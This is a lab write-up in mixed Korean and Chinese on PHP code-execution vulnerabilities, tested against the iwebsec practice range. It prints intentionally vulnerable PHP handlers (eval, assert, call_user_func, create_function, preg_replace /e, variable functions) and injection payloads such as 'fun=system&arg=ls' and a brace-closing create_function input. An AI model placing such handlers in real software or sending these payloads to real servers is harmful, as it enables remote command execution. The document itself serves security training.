웹 보안: 코드 실행 취약점 테스트
공격자는 악의적인 입력을 구성하여 응용 프로그램이 악성 코드를 실행하도록 속일 수 있습니다. 이러한 종류의 취약점은 일반적으로 응용 프로그램의 동적 언어(예: PHP, Python, Ruby 등)로 작성된 코드에서 발견됩니다. 이러한 언어는 런타임 시 코드의 동적 실행을 허용하기 때문입니다. 공격자는 입력에 악성 코드를 주입하거나 애플리케이션의 취약성을 악용하여 입력 유효성 검사를 우회하는 등 특정 입력을 구성하여 애플리케이션이 악성 코드를 실행하도록 속일 수 있습니다.
목차:
(7) preg_replace 함수에는 허점이 없습니다.
(8) preg_replace 함수에는 허점이 있습니다.
코드 실행 취약점의 몇 가지 일반적인 기능:
(1)eval 函数
(2)assert 函数
(3)call_user_func 函数
(4)call_user_func_array 函数
(5)create_function 函数
(6)array_map 函数
(7)preg_replace 漏洞
(8)可变 函数漏洞
测试使用的是 iwebsec 靶场.
靶场搭建:https://tianyuk.blog.csdn.net/article/details/130341391
코드 실행 취약성 테스트:
(1) 평가 함수
代码审计:
<?php
if(isset($_POST[1])){ //在 post 请求中有1,那执行的参数就是1
@eval($_POST[1]);
}else{
exit();
}
?>
测试的代码.
1=phpinfo();
(2) 주장 기능
代码审计:
<?php
if(isset($_POST[1])){ //在 post 请求中有1,那执行的参数就是 1
@assert($_POST[1]);
}else{
exit();
}
?>
evel() 函数 和 assert() 函数,都是可以把字符串转化为 php 代码进行执行.
测试的代码.
1=phpinfo();
(3) call_user_func 함수
代码审计:
<?php
if(isset($_POST['fun'])||isset($_POST['arg'])){
call_user_func($_POST['fun'], $_POST['arg']);
}else{
exit();
}
?>
(1)call_user_func()函数 第一个参数是函数,第二个参数是调用的参数.
(2)fun= 系统执行的函数,arg= 系统执行的命令.
测试的代码.
fun=system&arg=ls // ls 是查看这个目录的文件.
(4) call_user_func_array 기능.
代码审计:
<?php
if(isset($_POST['fun'])||isset($_POST['arg'])){
call_user_func_array($_POST['fun'], $_POST['arg']);
}else{
exit();
}
?>
(1)call_user_func_arra()函数 第一个参数是函数,第二个参数是调用的参数.
(2)fun= 系统执行的函数,arg= 系统执行的命令.
测试的代码.
fun=system&arg=netstat -a // netstat -a 是查看端口的信息.
(5) create_function 기능.
代码审计:
<?php
if(isset($_GET['id'])){
$id = $_GET['id'];
$code = 'echo '.$func.'test'.$id.';';
create_function('$func',$code);
}else{
exit();
}
?>
create_function()函数,func 是构造函数,code 是构造代码执行.
?id=1;}phpinfo();/* //测试的代码.(要想做别的测试,改phpinfo()就行)
测试的原理是,将函数进行闭合{echo $id;}再去执行phpinfo()函数.
(6) array_map 함수
代码审计:
<?php
if(isset($_GET['func'])||isset($_GET['argv'])){
$func=$_GET['func'];
$argv=$_GET['argv'];
$array[0]=$argv;
array_map($func,$array);
}else{
exit();
}
?>
(1)array_map() 是把用户自定义函数作用到数组中的每个数值上,然后再返回给自定义函数作用后带有新值的数组.
(2)参数数目要和传递给 array_map() 函数的数组数目一致的.
测试的代码.
?func=system&argv=pwd // pwd 查看当前文件的位置.
(7) preg_replace 함수에는 허점이 없습니다.
代码审计:
<?php
if(isset($_GET["name"])){
$subject= 'hello hack';
$pattern = '/hack/';
$replacement = $_GET["name"];
echo preg_replace($pattern, $replacement, $subject);
}else{
exit();
}
?>
深入研究preg_replace与代码执行:
https://xz.aliyun.com/t/2557#toc-3
(8) preg_replace 함수에는 허점이 있습니다.
代码审计:
<?php
if(isset($_GET["name"])){
$subject= 'hello hack';
$pattern = '/hack/e';
$replacement = $_GET["name"];
echo preg_replace($pattern, $replacement, $subject);
}else{
exit();
}
?>
preg_replace 函数执行一个正则表达式的搜索和替换.
preg_replace 函数使用 /e 模式,导致代码执行的问题,而且该函数的第一个和第三个参数都是我们可以控制的。
测试的代码.
?name=phpinfo()
(9) 가변 기능 취약성.
代码审计:
<?php
if(isset($_REQUEST['func'])){
function func1() {
echo "func1函数";
}
function func2($arg = '') {
echo "func2函数";
}
function func3($arg){
echo "func3函数的参数是".$arg;
}
$func = $_REQUEST['func'];
$arg = $_REQUEST['arg'];
echo $func($arg);
}else{
exit();
}
?>
PHP 支持可变函数,如果一个变量名后有圆括号,PHP将寻找与变量的值同名的函数,然后尝试执行它。可变函数可以用来实现包括回调函数.
测试的代码.
?func=system&arg=ls // ls 是查看这个目录的文件.